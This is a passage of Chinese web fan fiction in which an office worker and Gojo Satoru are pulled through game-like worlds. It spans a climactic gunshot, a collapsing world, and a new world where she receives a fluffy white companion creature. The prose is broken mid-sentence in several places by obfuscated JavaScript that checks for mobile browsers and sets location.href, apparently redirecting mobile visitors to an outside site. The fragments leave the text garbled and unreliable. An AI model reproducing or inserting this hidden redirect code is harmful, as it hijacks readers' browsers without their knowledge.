骨节分明的手指伸了过来,轻轻松松就勾起了手枪,他嘴角上扬:“看,这不是很简单嘛?” 这下社畜看得很清楚,五条悟并不是“拿”起了手枪,在他弯曲的手指和手枪中间隔了一层奇怪的空间。 好像……有一层空气墙在分隔着他的身体和其他物质一样。 这不简直等于无敌了吗?! “你当然觉得很简单啦,因为你是‘最强’嘛……”社畜咬牙切齿地小声说。 五条悟眨了眨眼,随意地偏过头:“嗯?” “只不过,太过相信‘实力’这种一目了然的东西,很容易在视野的盲区翻车哦。” 社畜话中有话,五条悟隐隐觉得不好,但是他刚刚提高警觉,在心里飞快地计算起对方的意图,就直觉般地感到—— 不对劲。 他突然被一阵巨大的、无法抵抗的悲伤击倒,眼里的整个世界像是突然失去了颜色。 五条悟重重地摔在了地上。 感觉……身体沉重,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156185|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论如何也无法从地上抬起来。 一阵阵巨大的轰鸣在耳朵里萦绕不去,与此同时,胸腔好像被什么巨力挤压着,窒息感以排山倒海之势压来。 呼吸变得迟钝,空气变得稀薄,连光线都像被黑洞吞噬了一样,只剩下无尽的压迫感。 五条悟一瞬间僵住。 身体……动不了。 不对……不是动不了,而是—— 不想动。 与其说是身体真的被什么看不见的巨力压在地上,不如说是大脑变得空洞又呆滞。 思绪像是被拽进了一片漆黑的深渊,浮浮沉沉,模糊而遥远。 五条悟呆呆地直视着眼前漆黑一片的空间,黑暗像是在无限延绵,连天花板究竟有多高他都感觉不到了。 ……好辛苦啊。 感觉……完全没有什么意义坚持下去嘛…… 咒术界也好……五条家也好……说到底,究竟和他有什么关系呢? 总是孤身一人……没有人理解……没有人同行……路的尽头……又会是什么呢?感觉什么也没有…… 思维迟钝得像是被蒙上了一层厚重的雾,或者陷入了什么泥沼,他能察觉到身体和情绪的不对劲,却无心去做些什么来改变现状。 哎呀……怎么好像……中了这个女人的圈套了。 这就是她的术式吗?奇怪,为什么自己会反应不过来呢?明明已经很小心了,自从发现了这个女人的古怪,连这个世界提供的那些道具,他都特意开启了无下限术式不去触碰,而且应该没有咒力的流动可以逃得过他的眼睛才对…… 果然不应该好奇啊……不管是对这个奇怪的电波女,还是对她或者她身后组织的目的…… 一开始就应该直接动手的…… 也不应该……因为上一次的和她一起的经历……就掉以轻心…… 啊……说不定……两次加起来,这才是一个完整的圈套……骗取他的信任,激起他的好奇心…… 花十年的时间……布下这个局吗?可是……还有太多困惑……比如,让人摸不清头脑的时间差……明明是第二次相遇在这个奇怪的空间了,为什么……社畜小姐会说这是她第一次认识自己呢?是故意这么说来伪装的吗? 但是……大概就是因为是第一次,所以这个世界才这么简陋,也才露出了这么多破绽。 一开始他以为“召唤”是社畜小姐的术式,但是竟然就连这个世界也是她创造的,属实令人恼火,像是设计好了什么陷阱专门等着他一样。 所以,在他意识到这个世界与社畜小姐的紧密联系之时,回想起上次他毫无防备、全然信任她的经历,内心突然涌上一阵强烈的、被戏弄的不甘,才一反常态地想看看她究竟想做什么…… 可是……明明上一次的时候,更容易对自己下手的,为什么最后却选择放弃了呢?又为什么是在这一次动手的呢? ……不对,如果社畜小姐说自己是第一次见到他,那么,是不是说明,其实这一次也没有得手呢?不然怎么会有对于社畜小姐而言的第二次会面呢? ……啊,懒得去想了…… 五条悟透过虚掩迷蒙的目光,看见社畜居高临下地站在自己面前,手里杵着那个奇怪的长胡子老头。 社畜潇洒的红色半长发和长老的胡子无风自飘,颇有一种在摆胜利结算界面姿势的感觉。 五条悟:“……” ……搞什么嘛。 不是可以抵御的物理攻击,也不是什么咒术,没有任何咒力,他就是简简单单地被这个长老的物品技能——心灵的悲伤给击倒了啊。 真是的……自己究竟要在各种奇奇怪怪的道具上吃多少次亏啊? 8. 勇者悟 五条悟被自己内心冒出来的这句吐槽吓了一跳。 ……奇怪,他为什么会突然有这个想法?记忆里好像并没有这种事情发生。 想起来了,好像……是被天逆鉾刺中过来着,是刺中“过”,还是“将会”被刺?为什么突然分不清一件事情是已经发生,还是将要发生? 还有别的了吗?怎么心里隐隐有种感觉,总觉得自己还会被别的奇怪咒物坑到…… 但现在也不是考虑这些的时刻,眼前的情况非常不妙,好像因为失去了求生的欲望,连无下限术式都无法运行了。 他鲜少有这么脆弱的时候。 这个女人,总是能带给他非常新奇的体验。 五条悟压下内心的不安,虚焦的目光看向沉默不语的社畜,在她的身后,西装男像个待机中的NPC,一动不动地站着。 社畜低头看他,五条悟白色的睫毛沉沉地压住浑浊的蓝眼,碎发凌乱地垂着。 这么倨傲又狂气的人,难得露出脆弱的模样,双唇微张,胸腔艰难起伏,大口大口地呼吸,像是拼尽全力对抗着某种无形的压迫。 她不由地再次感叹:“之前怎么会没有发现呢,果然是人啊。” ——这疯女人究竟又在恍然大悟些什么啊?! 社畜小心翼翼地用长老压住五条悟,蹲下身去,伸出手,轻轻地摸了摸他浓密的睫毛—— 柔软的睫毛划过指腹,激起一阵微渺的心动。 但社畜也毫不在意,只是像确证了什么似的小声呢喃:“虽然怎么看都很奇异,但这确实是人类的眼睛啊。” 因为长老依然压着他,五条悟的视野里突然浮现出长老的物品描述—— 【长老尸体】 稀有 0伤害(钝击) 武器动作:击倒(被武器接近的敌人会立刻倒地) 物品描述:打倒你的,不是生活的重压,而是心灵的悲伤 五条悟眯起眼睛—— 不对劲。 他记得之前物品描述里说的是“触碰”,为什么现在就变成了“接近”。 难道是这个女人在发现他有着无下限术式之后,为了确保他会被技能影响,修改了物品的功能? 什么时候发现的?他在还没有怀疑她之前,和她肢体接触的时候应该都没有使用无下限……等下,应该是刚才,从他拿出手枪的时候,这个女人就盯着他看了…… 这个世界,完完全全就被这个女人掌控着嘛…… 要这么说,想要杀掉他简直是易如反掌,完全是一念之间的事情,究竟是为什么要这么大费周章呢? 即使是在这种时候了,五条悟还发现自己对社畜有着致命的好奇。 * 在这种大结局般的正反派激烈目光交战时刻,似乎作为正义的主角,应该展开一番嘴炮,但社畜纠结了一下,还是忍不住开口问道:“你有一个,毕业后在中野这片工作,头发烫得卷卷的,眼角会像这样耷拉下来的学姐吗?” 怎么会突然问这个? 五条悟把不管是不是毕业生的人都想了一遍:“……没有,怎么了?” “平时的话,超市里的水果不都会好好地单独包装起来卖嘛,可是楼下的超市却没有,这种时候就会想,那种长得很像的水果,比如提子和葡萄,究竟会不会认错呢?这么想着,甚至会故意把香蕉和芭蕉混在一起,看收银的阿姨会认作哪个,可是她从来都没有认错过,也好好地把芭蕉从香蕉中分出来了!”社畜确定地点了点头,“想必一定是拥有能分辨所有水果的超能力吧,在知道你原来是真实存在的人之后,总感觉那个阿姨也会是从你们学校毕业的,原来不是吗?真是可惜呢……” ……都这种时候了,究竟在想些什么啊。 五条悟无言地合上眼。 社畜认真地举起五条悟的右手。 五条悟垂眸看过去,啊,自己的手里还拿着“勇者之剑”。 外壳上隐隐浮现出一明一暗的蓝色纹路,像心跳一样微微闪烁。 不过在奇怪道具的影响下,光是要抵御那彻头彻尾的悲伤,就已经要拼尽全力了。 现在他心里只有一种悲哀的平静,对未来会发生的一切既没有期待,也没有恐惧。 社畜用双手握住五条悟的手:“我知道你有很多困惑,老实说我现在也解释不清楚,但是可以肯定的是,你确实是我召唤出来的勇者,也只有你才能使用勇者之剑,真是奇怪,为什么动漫或者游戏里的女神大人总是需要召唤出一个勇者,而不能自己去拯救世界呢?我想大概是因为,虽然是神,自己却没有拥有可以战斗的力量吧。” ……分不清现实和虚幻了吗这个中二病电波女。 “我希望的无非是让你开出这结束游戏的最后一枪,打败魔王罢了,把我当成魔王也好,随便想开枪试试看也好,只要开枪击败了魔王,就可以结束这一切。这是游戏从一开始就建立好的秩序,没有任何意志可以违抗。我真的、真的,已经很累了,我很想回家……” 社畜握紧五条悟的手,像是攥紧最后的希望。 她埋下头去,声音闷闷的:“其实已经开始犹豫了……本来就有一种你会是魔王的预感,你一直试图把我逼入绝境,让我更加确信了这一点,但是在发现你身上竟然有这么多‘人’的品性的时候……在发现你原来也是个人的时候,还是感到了犹豫……” 五条悟无奈地想,喂喂,什么叫“你原来也是个人”啊…… 他可能是实力过于强大了点,或者性格恶劣了点,但是不管怎么说,尚且还在“人”的范畴之内吧。 而且,他到底有哪一点像魔王了?!从头到尾,他都没有污蔑过她,只不过是有理有据的推理罢了。 在最开始,他甚至还猜测过社畜是不是又遇到了什么麻烦,他准备大发慈悲地帮她解决这一切——就像之前约好的那样。 但所有的线索都指向社畜小姐才是幕后黑手。 更别说只要想通了这一点,回忆里的线索竟然还越来越多…… 社畜松开右手,手里赫然出现了之前用来固定勇者之剑的神光棒状底座。 空中浮现出半透明的物品描述框。 【勇者之剑的底座】 普通 0伤害(无攻击) 武器动作:夹紧(可根据物品自动调整大小) 物品描述:或许并不普通,但是因为和勇者之剑放在一起,所以总是被忽视。似乎只是为了勇者之剑而存在,连属于自己的名字也没有。要说有什么优点的话,大概就是总能很出色地完成工作,无论夹什么都特别稳吧 社畜看着手中的道具,喃喃自语:“我也不想用强迫的手段,可是勇者君的力气大得吓人,好像还有什么特殊的防御手段,多一层保险总是没错的吧。” 神光棒缓缓缩小成了一个小夹子。 五条悟眼睁睁地看着社畜用小型神光棒夹子这种搞笑的东西,撑在了自己的食指和扳机之间。 未免也……太谨慎了…… 尽管喉咙里要发出声音也非常艰难,但他还是用尽全力挤出几个字:“我说……就我现在这样子……你就算……直接掰着我的指头……扣动扳机,我也……抵抗不了的吧。” “嗯,作为一个合格的社畜,提前准备好Plan B很重要,”社畜非常理所当然地说道,“不管是超能力还是□□的力量,都不能掉以轻心。” ……电波女怎么会在这种时候又好像真的很深思熟虑,高瞻远瞩了。 “砰!” 枪响。 五条悟被迫扣动扳机。 但他错愕地看过去。 枪口明明对准的是他,社畜胸前却瞬间绽放大片血花,强大的冲击力让她立刻被击飞了出去,重重地摔在了地上。 五条悟清晰地看到——射出的“子弹”是一股强大、纯粹的咒力,在这个除了他自己以外完全没有咒力的世界,就像是唯一的光源一样耀眼。 有一点点熟悉,像是他的咒力,却又更危险、更野蛮、更无解…… 血腥味迅速扩散开来,社畜倒在地上,胸口的伤口汩汩流血,意识在剧痛中变得模糊。 长老的尸体也随之滑落,五条悟骤然回复了行动力,他几步就冲到了社畜身边,俯视她瞪大的双眼。 “魔王……是我?”她嘶哑地问着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156186|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 五条悟不知道该怎么回答。 但社畜马上又自己先释然了,在这最后的时刻,说着遗言一般的话,却依然十分不着调:“原来被世界认定的魔王是我吗?” “可能……真的就像我们两个之前斗嘴时说的那样,每个人站在自己的立场上看,别人才会是反派,之前社会不是一直有关于黑心企业是不是‘必要之恶’的讨论嘛?好像也听说过‘恶人也有恶人的救世主’一类的话,就像理想主义的后鸟羽天皇的改革和权力博弈都失败了,而那种枭雄类型、极具争议的‘第六天魔王’织田信长却能推动历史一样,或许世界落到你的手上也没有这么糟糕……” “你耍了我那么久就为了最后给我上一堂历史课吗?给我把话说清楚,不准死,说清楚到底是怎么一回事?还有究竟是什么世界?这个你所谓的‘RPG游戏’吗?究竟在搞什么啊?喂,听见没有,都给我解释清楚!不然现在我就把这个世界炸掉。” 五条悟紧抓住社畜的双肩,难以置信她竟然就这么随随便便地中枪倒下。 但是一切都如她所说那样,“魔王”被击败,游戏也即将通关,从远处传来隆隆的声响,是世界从边缘开始坍塌的声音。 开什么玩笑,他竟然也会被人戏弄,也会被人打倒,而这一切的罪魁祸首竟然说着“魔王竟是我自己”、“世界就交给你了”这种奇怪的话,马上就要死掉了? 这无厘头的发展,就像某个满怀恶意的作者创作出来,专门虐待读者报复社会的作品。 一瞬间,五条悟感到一种难以言喻的荒谬感。 什么长期磨练出来的战斗技巧、直觉和艺术,还有他引以为豪的实力,全都派不上用场,只有一些诡异的因果律武器在肆意翻弄命运。 还有,那股熟悉的,强大又纯粹的咒力,究竟是怎么一回事? 五条悟心里难受得要命,有种全身肌肉酸痛,却又找不准具体是哪块的别扭感,像是一拳击中了棉花,软绵绵的反作用力嘲弄着他自己认真的出拳力度。 这家伙到底是怎么做到的? “喂,不准死,听见了没有?” 他固执地重复着。 奇怪,这句话,为什么像是他曾经说过无数遍一样熟悉? 大地在震颤,混沌与虚无正在吞噬一切,以凌然之势向他们逼近。 社畜缓慢地眨了眨眼睛,随着世界的崩塌,一瞬间好像突破了点什么的封锁,有些模糊的,像是积年累月的愤怒和不满冲上大脑,她咬牙切齿地开口:“你果然……还是一点都听不懂人话……” 五条悟充耳不闻,只想着,要救她。 要问清楚。 反转术式……负面能量与负面能量相乘的感觉……理论上好像可以理解……也可以对自己使用,但就是无法输出给别人……因为每个人的□□与灵魂都各不相同,因为受治疗者可能会排斥他人的咒力…… 世界已经崩塌到了最后的边界,全世界只剩下他们两个人的身影。 “果然……还是不能随随便便托付给你……仔细一想,哪有什么‘必要之恶’嘛,黑心企业就是黑心企业,谁要共情资本家啊!都现代社会了,给我好好遵守劳动法啊混蛋!” 社畜恶狠狠的宣言还没结束,五条悟就惊讶地发现自己的指尖跃动起充沛的正面咒力。 咒力包裹住社畜,她的面色逐渐恢复红润,呼吸也变得顺畅。 怎么做到的?好像……真的就是“咻”地一下,“呼”地一下…… 五条悟定定地看着自己的指尖,因为掌握了新的咒力使用方法而心跳加速。 社畜感受到一股温柔的力量涌入她的身体,没来由地让她精神振奋,安心又愉快,她倏地住了嘴。 这个人……竟然是在救她? 怎么感觉……还是有点善心的…… 尽管如此—— “果然,还是不能交给你啊。” 社畜又重复了一遍,声音比刚才更有底气。 五条悟低头看她,社畜直起身来,神色复杂地看着他。 然而世界已经坍缩至了最后一寸。 刹那间,两个人被虚无吞噬,坠入一片死寂的黑暗。 9. 伙伴悟 社畜迷茫地眨了眨眼,发现自己又回到了最开始的那个空间。 熟悉的黑暗依然无边无际,然而这次,没被黑暗吞噬的世界似乎又扩大了一些。 明明没有光线照进来,她却可以清晰地看见她的床,但这次不仅多了她的床,连床头的柜子、床下的地毯、房间里的桌子,也都被纳入了这个黑暗的空间,仿佛她的日常世界正一点点渗透进来。 那个金光闪闪的对话框,依然悬浮在她房间的空中。 【回流活动重磅上线!老二次元回归福利礼包,点击即送声优代表角色!更有专属副本等你开启!】 【请选择你的伙伴】 - 中村悠一 - 杉田智和 - 伊濑茉莉野 社畜仔细地又读了一遍。 和上次不一样的是,“勇者”变成了“伙伴”,而且中村悠一的选项变灰了,似乎已经无法再选。 * 社畜苦恼地坐到床边,随手拿起床头柜上的闹钟。 啊……闹钟已经坏掉了。 指针停在了7:05,仿佛时间永远地冻结在了那个瞬间。 仔细一想,明明已经很久没有用过这个闹钟了嘛……不都是用手机上的闹钟来代替的吗。 但是不管是什么形式的闹钟,在她看来,都是某种意义上的小型时间穿梭机器。 比如明明定好了7点的闹钟,只要她迷迷糊糊地把闹钟按掉,时间就会瞬间穿梭到一两个小时之后,让她悲惨地发现自己——又迟到了。 既然生活中都能随时发生这样的奇遇,那么被卷入一场奇怪的二次元回流活动,参加一些神奇的游戏副本,想来也算不上什么特别离奇的事情。 思绪漫无目的地飘了一会儿,社畜最终还是磨磨蹭蹭地把视线挪回到对话框上面。 【回流活动重磅上线!老二次元回归福利礼包,点击即送声优代表角色!更有专属副本等你开启!】 【请选择你的伙伴】 - 中村悠一 - 杉田智和 - 伊濑茉莉野 啊……好不想选啊。 上个世界的展开简直离谱得像脱缰野马,毫无逻辑,让社畜满头雾水。 她本来以为自己只是一个普通的“玩家”,却莫名其妙地被赋予了很多身份和职能。 而那个叫“五条悟”的勇者…… 她回想起那双奇谲瑰丽的双眼,不由地打了个寒颤。 ……不过,好像也没有之前那么怕了。 她明确地知道被她召唤出来的那个叫做“五条悟”的高中生是勇者无误。 不知为何,看到他的瞬间,她竟本能地在心中警铃大作,甚至有一瞬间,她觉得他就是魔王。 而且,要打败魔王,只能用魔王自己的力量。 因为魔王是“最强”嘛,是一切力量的来源。 奇怪的是,这些东西,她都只是模模糊糊地作为“知识”知道,就像是什么上个世纪的经典影视作品甚至什么古典名著一样,就算自己从来没有看过,因为总是能接收到相关的信息,所以也会有大概的了解。 就仅此而已了。 ……可是,开枪之后,被判定为魔王却是她,而被她认为是魔王的人,似乎还在尝试救她。 难道……她真的是魔王? 怎么可能嘛! 对自我的动摇不会超过十分钟,有难过的事情不超过三天就能恢复过来,社畜就是这样的一个人。 过度思考的大脑有点发烫,社畜烦躁地抓了抓头发,把一切都抛在脑后,又扫了一眼对话框。 不知为何这个活动还在继续,但是不管怎么说,只要把这三个选项都点一遍,三个副本都经历一遍,最后总会有点什么结果吧? 【回流活动重磅上线!老二次元回归福利礼包,点击即送声优代表角色!更有专属副本等你开启!】 【请选择你的伙伴】 - 中村悠一 - 杉田智和 - 伊濑茉莉野 ……说起来,上次明明召唤的是勇者,出来的却是一个疑似魔王的家伙。 这次要召唤伙伴,不会给她整出来一个宿敌吧? 她参加这个回流活动,到底是为了啥啊?是为了让她逃避现实摆脱工作吗?可是她刚刚差点死掉诶。 用自杀的方式逃避现实吗?这未免也太消极了吧……完全不是她的风格。 社畜的手指迟疑地悬在空中,久久不愿意放下去。 伊濑茉莉也和杉田智和……究竟谁的角色比较适合做伙伴呢?选谁比较靠谱呢? 总感觉杉田智和配的大多都是搞笑型的角色,和这种人做伙伴应该有点辛苦…… 相比之下,伊濑茉莉也就不一样了,坚强独立的声音,更别说她还配过《全职猎人》中的奇犽·揍敌客。 表面冷酷,内心珍视伙伴的奇犽,战斗力也强,完全就是非常可靠的伙伴嘛! 虽然她不一定能抽中就是了…… 但是……万一呢? 带着一丝渺茫的希望,社畜轻轻地点下了【伊濑茉莉也】的名字。 * 地面如同上次一样冒起了耀眼的光芒。 社畜满怀期待地直视着光芒中心,期待里面出现奇犽的身影—— 等等!好像真的是白头发! 难道说——?! 光芒散去,一个白发蓝眼的小男孩,微微抬起头,冷冷地、毫无波澜地抬眼看着她。 真的是奇犽!! 尽管如此,社畜心里依然涌上一阵非常不妙的违和感—— 瞳色好像比她印象里要浅淡一点,头发也要短上不少,还穿着奇犽不会穿的、非常传统的和服。 这该死的违和感究竟是怎么回事。 没有别的特征的话,辨别二次元人物无非发型、瞳色、服饰…… 面前的小男孩,偏偏每一点都处在一个是与不是的微妙分界线上。 说起来,伊濑茉莉也还配过什么别的白发蓝眼设定的人物吗? 冷静!不如先打个招呼好了。 社畜的脸上堆起笑容,刚准备开口,一阵炫目的白光就吞噬了他们。 诶诶诶诶诶?! * 只是一眨眼的功夫,社畜就发现自己身处于一个简朴的小木屋之中。 简朴,但是充满了生活气息。 墙壁由木板拼接而成,天花板的横梁裸露在外,是非常有年代感的建筑制式。 床上是柔软的棉被和织着素雅花纹的毛毯,地上也铺着手工编织的地毯,是由一块块碎布拼出的复杂花纹,墙上零零散散地挂着一些装饰的画框,不过里面倒是还没放进去什么照片。 窗边是一张长长的木桌,上面堆满了纸笔和一些零碎的小东西,有一些像是挎包、护腕和护腰的东西随意地搭在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156187|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅背上,桌子旁边也摆放着一些箱子和柜子,里面似乎也装了不少东西。 没有灰尘,没有蛛网,到处都很干净整洁,阳光照进来,让屋子里明亮又温馨,连木纹都透着温润的光泽。 社畜松了一口气,这个世界,看起来真实了不少。 “咚咚咚”,有人敲门。 社畜拉开木门,门口站着一个娃娃脸,齐刘海,短发刚到下巴,笑起来有一个小酒窝的女孩子。 “那个……你叫什么名字啊?”女孩眨着眼问她。 “啊……叫我社畜就行。”感觉很久没有见过会主动搭话的可爱女孩子了,她也带上微笑回复。 少女爽快地点点头,然后一脸认真地告诉她:“好的,社畜!你快换衣服吧,今天是去领取自己初始伙伴的日子!可不要迟到啊!” ……啊,社畜后知后觉地意识到,这好像还是一个NPC嘛。 这个世界的伙伴是点击就送的吗?所以她现在的任务就是去把刚刚那个小男孩领回来? 社畜还在发呆,齐刘海女孩又出声催促她:“快去换衣服吧!这种重要的活动可是要穿制服的。” “没问题。”社畜把门关上,果然在衣柜里找到了和刚刚那个女孩子身上类似的衣服。 里面是贴身的黑色短衫,外面是一件剪裁利落、材质硬挺的黑色背心,衣领和袖口都有暗色的纹线,下身是一条黑色束腿裤,裤脚以系带绑紧,可以调整长度,也便于活动。 此外,护腕、护膝、护腰等配件一应俱全,虽然看起来繁琐,不过都做得轻便简洁,全穿上身之后反而让人觉得行动更加灵活。 社畜一边穿衣服,一边忍不住嘀咕,这制服,怎么看起来是要战斗的样子…… 这究竟是个什么样的世界啊……要怎样才能通关呢?…… 穿好衣服,她在衣柜旁的全身镜里照了一眼自己,把一头红发利落地扎起来,恍惚间还觉得自己有点像是传说中的忍者。 她深吸一口气,打开门,那个女孩子果然还在等她。 “那个……你叫什么名字啊?” “叫我新手引导员就好啦!”少女绽放出一个温暖友好的笑容。 社畜:“……” 不好,这熟悉的敷衍感——这个游戏,不会还是之前那伙人做的吧?! ……感觉不像。 街景丰富了很多,沙土道路的两边有开着门营业的商铺,还很有生活气息地有着一个简朴的老式公厕,道路上有人来来往往,三两聚在一起聊天谈笑,空气中还可以闻到烤团子和热茶的香气。 尽管行动依然有一种机械感,似乎只能重复一定程度以内的活动,但已经让社畜非常感动且满足了。 不过,很多人的身边,都跟着一只小动物。 这些动物都像是现实动物和幻想生物的混合体,依稀能看出一些和地球上原来动物的相似之处。 有的像狐狸,却长着粉色的长羽,有的像猫,却有着两条尾巴…… 但是也有更加奇形怪状,不知道该不该属于“生物”范畴的。 路过一片农田的时候,社畜甚至看见了一只像是土堆成的猩猩状生物正在犁地。 它拍着胸膛,对着空无一人的农田仰天大吼,在它身前的田里,就凭空裂开了一道深深的沟壑。 社畜脑中突然亮起了一个灯泡—— 这个世界,不会是一个类似于宝可梦的世界吧?! 10. 伙伴悟 新手引导员将社畜引到了村里最宏伟的建筑面前。 严格来说,这里并不能算是一座真正的“建筑”。没有门,是一个围绕着一棵参天古树搭建起的开放空间,顶上搭建着一些看起来不甚结实的木制棚顶,穿插在茂密的枝叶之间。 树干倒是格外粗壮,枝桠向四面八方延展,如一把巨伞,树荫密密地盖下,阳光透过枝叶的缝隙洒下来,随着微风轻轻晃动。 树荫下支起了桌子椅子,有人带着自己的精灵伙伴坐在这里喝茶吃团子。 社畜深吸了一口气,能闻到浓郁的茶点香气,她伸长脖子,却没有看到哪里有摊位在售卖。 ……但是不管怎么说,这么丰富的细节,已经让人很感动了。 直到她走进棚下,踏入古树的主干区域,社畜才发现食物的香气来源——靠近古树树干的中心位置,建了一圈木制吧台,里面有一些看起来毛茸茸长耳朵的身影在忙碌,动作轻快地递上热腾腾的茶水或者点心。 但引导员只是带着社畜停在了门口。 这里立着一个简易的接待木台,木台后面站着一个身穿深色长袍的男子,厚实长袍直垂坠至脚底,身形有点佝偻。 黑色的口罩遮住了大半张脸,让人难以看出他的真实年龄,只有眼角的细纹暗示着他或许已经有一定年纪了。 他的目光,让社畜有点不安。 并不是凶狠,更像是一种深不可测的沉静,同时又在暗暗审视着社畜的感觉。 他的身边倒是没有任何精灵,或许有,但是社畜还没看见,他只是双手翻动着厚重的登记册,用阴沉的目光扫了社畜一眼,抬手指了指自己身后的一个狭窄入口。 从狭窄的门口望进去,里面似乎是通往二楼的木梯。 社畜愣了一下,心底莫名生出一种微妙的抵触,新手引导员看出了社畜的茫然,轻轻推了推她的手臂,小声地安慰她:“上去吧,不用紧张的,会分配给我们的初始伙伴都是已经驯化培育了好几代的品种,虽然实力可能不算强,但是绝对没有野外的魔兽那么凶猛。” 那位穿着深色长袍的男子已经垂下眼,继续翻阅着手中的册子,一副随意社畜要不要进去的样子。 看起来到没有什么异常。 在引导员鼓励的目光中,社畜深吸一口气,硬着头皮侧身进了黑暗的楼道,缓缓踩着吱呀作响的木梯上到了二楼。 二楼是一条围绕着古树树干修建的狭长圆形走廊,木制廊柱上缠绕着藤蔓,繁密的树荫把走廊遮得严严实实,走廊里的光源只有透过枝叶的小片光斑。 不过这里散发着草木的幽香,有了生命的气息,倒也不让人讨厌。 社畜随着延伸的走廊绕着树干转了一大圈,才看见昏暗的尽头端坐着一个戴着斗笠的女子。 她穿着层层叠叠、极为繁复的衣服,像是古代宫廷贵妇才会穿的那种的“十二单衣”,从贴身单衣到最外层罩衫一应俱全,轻薄的白色布料层叠如流水,包裹住她的身形。 斗笠边也垂下层层轻纱,完全遮住了她的面容。 ——奇怪,这里的人为什么都遮遮掩掩的。 等到社畜走近,她轻轻一合手中的桧扇,撩起长袖,从身旁堆叠如山的笼子中,打开一个,随便伸手进去抓了个什么,递给社畜。 走近了,社畜才发现,她身边的大小不一的笼子里都关着各种各样的奇异生物,它们在里面或卧或站,或静或躁,有几只还在猛烈地撞击铁笼。 但递到社畜面前的—— 是一个毛茸茸的白团子。 双手可以拢住的大小,轻盈柔软,蓬松的毛发如云如雾,眨巴着一双清澈的蓝色大眼看她,瞳孔澄澈得像映着天光的湖面。 太,太可爱了! 社畜的心被精准狙击,她最喜欢这种毛茸茸、圆滚滚的东西,看见这个小家伙,连心尖都在发颤。 她颤抖着双手,接过这个小生物,蓬松柔顺的长毛轻轻拂过她的掌心,带来一阵让人愉悦的、轻盈顺滑的触感。 小不点睁着蓝盈盈的眼睛认认真真地盯着她看上了好一会儿,突然张嘴—— “飒——” 小小的,清脆稚嫩的,带着点沙哑余韵的声音。 啊啊啊啊啊啊啊啊啊真的好可爱!! 社畜努力压抑住双手和声音的颤抖,控制住自己想要捧起小团子疯狂揉搓的冲动:“你的名字是小飒吗?” 应该是的吧,很多宝可梦的名字不就是来源于它们的叫声嘛。 “飒。”小白团子微微抬眼,又冷冷地叫了一声,自己在社畜的手心找了个舒服的地方,窝下来了。 社畜屏住呼吸,已经完全沦陷。 穿着繁复长袍的女子对她微微颔首,示意社畜可以走了,社畜小心翼翼地捧着团子下楼,在新手引导员期待的目光中,抬起掌心向她展示自己的“伙伴”。 “好厉害哦,是之前从来没有见过的品种。”引导员露出一如既往温暖的笑容。 木台后面的男子只是抬头扫了她手心一眼,神情没什么变化,执笔在书页上写了点什么,对社畜也没有进一步的指示。 “接下来我需要做些什么呢?”领到了超乎想象合心意的可爱伙伴,社畜对这个世界也开始充满期待。 “接下来,就是好好培育你的伙伴,让它进化啦!” “进化?”社畜低下头,有些纠结地看向手中正在平静地注视着她的小团子。 好不希望它进化哦……总觉得进化之后就没有那么可爱了…… “嗯,伙伴们会有幼年体、青年体和成熟体三种形态,我们的任务就是培育它们,让它们成长为成熟体。” ——听起来很简单嘛!既不用挑战道馆,也不用参加什么大会,感觉这次很轻松就可以通关了。 “进化的方式也多种多样,有的通过对战积累经验升级就可以进化,有的需要提高和你的亲密度,有的可能需要使用一些道具的帮助,还有的需要一些更加特殊的经历或者条件……” 社畜点了点头,这些倒也不算复杂,按照她曾经的游戏经验完全可以理解。 “虽然一般来说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156188|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙伴们都可以通过对战升级来进化,但是每只个体都是不一样的,需要好好地相处和观察哦。顺带一提,也有出于各种心理原因,明明可以进化了却一直不肯进化的情况存在,所以一定要全方位地关心自己伙伴的状态,为了避免应激或者心理出现问题,最好不要同时培育多只伙伴——所以就从今天领到的这一只初始伙伴开始练习和尝试培育它们吧!只要带着爱去关心和相处,我相信社畜你的初始伙伴一定能够顺利进化的!” 引导员耐心地讲解着,社畜的心情急转直下,越听越苦恼。 不妙,感觉事情又没有那么简单了。 